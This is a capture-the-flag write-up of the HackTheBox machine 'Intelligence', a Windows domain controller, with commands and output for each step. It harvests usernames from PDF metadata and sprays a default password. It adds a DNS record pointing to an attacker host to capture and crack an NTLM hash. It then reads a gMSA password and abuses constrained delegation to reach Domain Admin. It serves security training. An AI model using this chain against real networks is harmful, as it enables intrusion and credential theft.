Skip to content

Intelligence Writeup - HackTheBox

Medium Windows
Mohammad Meraj

Independent Security Researcher

Intelligence is a Windows Domain Controller with a publicly exposed document library. PDF metadata leaks a username list, a content scan of the same PDFs turns up a default onboarding password, and one account never rotated it. From there the chain runs: coerced NTLM authentication via a scheduled DNS-polling script, a cracked hash for Ted.Graves, ReadGMSAPassword to recover a gMSA credential, and constrained delegation abuse to impersonate Administrator.

Reconnaissance

Port scan

┌──(kali㉿kali)-[~]
└─$ rustscan -a $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ nmap -sCV -T4 -p53,80,88,135,139,389,445,464,593,636,3268,3269,9389 $TARGET_IP -oA nmap/nmap
PORT     STATE SERVICE       VERSION
53/tcp   open  domain        Simple DNS Plus
80/tcp   open  http          Microsoft IIS httpd 10.0
|_http-title: Intelligence
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
445/tcp  open  microsoft-ds?
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: intelligence.htb)
Service Info: Host: DC; OS: Windows
| smb2-security-mode: 3.1.1 Message signing enabled and required
|_clock-skew: 7h20m10s

Standard DC footprint. Domain intelligence.htb, host DC. IIS is serving a site titled "Intelligence" on port 80. Correct clock skew before any Kerberos tooling:

┌──(kali㉿kali)-[~]
└─$ sudo ntpdate $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ echo "$TARGET_IP intelligence.htb dc.intelligence.htb" | sudo tee -a /etc/hosts

Web Enumeration

Directory discovery

┌──(kali㉿kali)-[~]
└─$ ffuf -u http://intelligence.htb/FUZZ \
-w /usr/share/wordlists/SecLists/Discovery/Web-Content/DirBuster-2007_directory-list-lowercase-2.3-medium.txt \
-e .php,.html -mc 200,301,302,303,403 -fs 7432
documents  [Status: 301, Size: 157]

The page source at /documents shows two linked PDFs with a predictable naming pattern:

<a href="documents/2020-12-15-upload.pdf">
<a href="documents/2020-01-01-upload.pdf">

The format YYYY-MM-DD-upload.pdf suggests many more exist beyond the two linked on the homepage.

Brute-forcing the date range

┌──(kali㉿kali)-[~]
└─$ ffuf -u "http://intelligence.htb/documents/FUZZ-upload.pdf" \
-w <(for year in {2020..2021}; do for month in {01..12}; do \
for day in {01..31}; do echo "$year-$month-$day"; done; done; done)
2020-01-22  [Status: 200, Size: 28637]
2020-01-23  [Status: 200, Size: 11557]
<snip - 99 valid dates matched between Jan 2020 and Mar 2021>
2021-02-13  [Status: 200, Size: 27053]

99 PDFs. Download them all:

for date in $(cat dates.txt); do
  wget -q "http://intelligence.htb/documents/$date-upload.pdf" -O "${date}.pdf"
done

Credential Access

PDF metadata - username list

┌──(kali㉿kali)-[~]
└─$ exiftool -Creator -csv *pdf | cut -d, -f2 | sort | uniq > userlist
┌──(kali㉿kali)-[~]
└─$ cat userlist
Anita.Roberts
Brian.Baker
Brian.Morris
<snip - 30 usernames total: Daniel.Shelton, Danny.Matthews, Darryl.Harris, David.Mcbride,
David.Reed, David.Wilson, Ian.Duncan, Jason.Patterson, Jason.Wright, Jennifer.Thomas,
Jessica.Moody, John.Coleman, Jose.Williams, Kaitlyn.Zimmerman, Kelly.Long, Nicole.Brock,
Richard.Williams, Samuel.Richardson, Scott.Scott, Stephanie.Young, Teresa.Williamson,
Thomas.Hall, Thomas.Valenzuela, Travis.Evans, Veronica.Patel, William.Lee>
Tiffany.Molina
Travis.Evans
William.Lee

Each PDF's Creator field holds the AD-format username of whoever generated it. 30 real usernames harvested.

PDF content - default password

Convert all PDFs to text and scan the first line of each to separate filler from real content:

┌──(kali㉿kali)-[~]
└─$ for f in *pdf; do pdftotext "$f"; done
┌──(kali㉿kali)-[~]
└─$ head -n1 *txt
==> 2020-01-01.txt <==
Dolore ut etincidunt adipisci aliquam labore.
<snip - ~96 of the 99 reports are lorem-ipsum filler>
==> 2020-06-04.txt <==
New Account Guide
==> 2020-12-30.txt <==
Internal IT Update
┌──(kali㉿kali)-[~]
└─$ cat 2020-06-04.txt
New Account Guide
Welcome to Intelligence Corp!
Please login using your username and the default password of:
$TIFFANY_PASSWORD
After logging in please change your password as soon as possible.

Default onboarding password found. Spray it across all 30 harvested usernames.

Initial Access

Password spray

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u userlist -p '$TIFFANY_PASSWORD' --continue-on-success
SMB  DC  [-] intelligence.htb\Anita.Roberts:$TIFFANY_PASSWORD STATUS_LOGON_FAILURE
<snip - 28 further failures>
SMB  DC  [+] intelligence.htb\Tiffany.Molina:$TIFFANY_PASSWORD

Tiffany.Molina never rotated the default password. Check accessible shares:

┌──(kali㉿kali)-[~]
└─$ nxc smb $TARGET_IP -u Tiffany.Molina -p '$TIFFANY_PASSWORD' --shares
Share     Permissions
-----     -----------
IPC$      READ
IT        READ
NETLOGON  READ
SYSVOL    READ
Users     READ

Two non-default shares: IT and Users. The user flag sits directly on the Users share over SMB without needing a shell. WinRM with the same credential fails since Tiffany is not in Remote Management Users.

BloodHound as Tiffany returns no directly abusable ACL edges. The IT share is the next lead.

Coerced Authentication

Scheduled script on the IT share

┌──(kali㉿kali)-[~]
└─$ smbclient //$TARGET_IP/IT -U Tiffany.Molina
┌──(kali㉿kali)-[~]
└─$ get downdetector.ps1
# Check web server status. Scheduled to run every 5min
Import-Module ActiveDirectory
foreach($record in Get-ChildItem "AD:DC=intelligence.htb,CN=MicrosoftDNS,DC=DomainDnsZones,DC=intelligence,DC=htb" |
  Where-Object Name -like "web*") {
  try {
    $request = Invoke-WebRequest -Uri "http://$($record.Name)" -UseDefaultCredentials
    if($request.StatusCode -ne 200) {
      Send-MailMessage -From 'Ted Graves <Ted.Graves@intelligence.htb>' `
        -To 'Ted Graves <Ted.Graves@intelligence.htb>' `
        -Subject "Host: $($record.Name) is down"
    }
  } catch {}
}

This runs every five minutes under Ted.Graves's context (confirmed by the mail sender). It fetches every DNS record starting with web and sends an authenticated HTTP request (-UseDefaultCredentials means NTLM) to each one. Any user who can create a DNS A record can point a web* hostname at an attacker box and capture Ted's hash when the script next runs.

Injecting a malicious DNS record

Standard domain users can add DNS records via LDAP by default. Use dnstool.py from the krbrelayx toolkit:

┌──(kali㉿kali)-[~]
└─$ python3 dnstool.py \
-u 'intelligence\Tiffany.Molina' -p '$TIFFANY_PASSWORD' \
$TARGET_IP -a add --record web-attacker --data $ATTACKER_IP --type A
[+] LDAP operation completed successfully

Stand up Responder and wait up to five minutes for the task to fire:

┌──(kali㉿kali)-[~]
└─$ responder -I tun0
[HTTP] NTLMv2 Client   : $TARGET_IP
[HTTP] NTLMv2 Username : intelligence\Ted.Graves
[HTTP] NTLMv2 Hash     : Ted.Graves::intelligence:<$TED_HASH>

Cracking the hash

┌──(kali㉿kali)-[~]
└─$ john --wordlist=/usr/share/wordlists/rockyou.txt hash
$TED_PASSWORD   (Ted.Graves)
1g 0:00:00:10 DONE

Privilege Escalation

ReadGMSAPassword for svc_int$

Ted.Graves is a member of the IT group, which holds ReadGMSAPassword rights over the gMSA SVC_INT$. Read the current NTLM hash directly from AD:

┌──(kali㉿kali)-[~]
└─$ bloodyad --host "$TARGET_IP" -d intelligence.htb \
-u Ted.Graves -p '$TED_PASSWORD' \
get object SVC_INT$ --attr msDS-ManagedPassword
msDS-ManagedPassword.NT: $SVC_INT_HASH

Constrained delegation abuse

SVC_INT$ is configured with constrained delegation to WWW/dc.intelligence.htb. This lets the account use S4U2Self and S4U2Proxy to obtain a service ticket for that SPN while impersonating any domain user. Request a ticket impersonating Administrator:

┌──(kali㉿kali)-[~]
└─$ getST.py \
-dc-ip $TARGET_IP \
-spn www/dc.intelligence.htb \
-hashes :$SVC_INT_HASH \
-impersonate administrator \
intelligence.htb/svc_int
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in administrator@www_dc.intelligence.htb@INTELLIGENCE.HTB.ccache

Use the ticket to execute commands as Administrator:

┌──(kali㉿kali)-[~]
└─$ KRB5CCNAME=administrator@www_dc.intelligence.htb@INTELLIGENCE.HTB.ccache \
wmiexec.py -k -no-pass administrator@dc.intelligence.htb
C:\> whoami
intelligence\administrator

Domain Administrator on DC.

References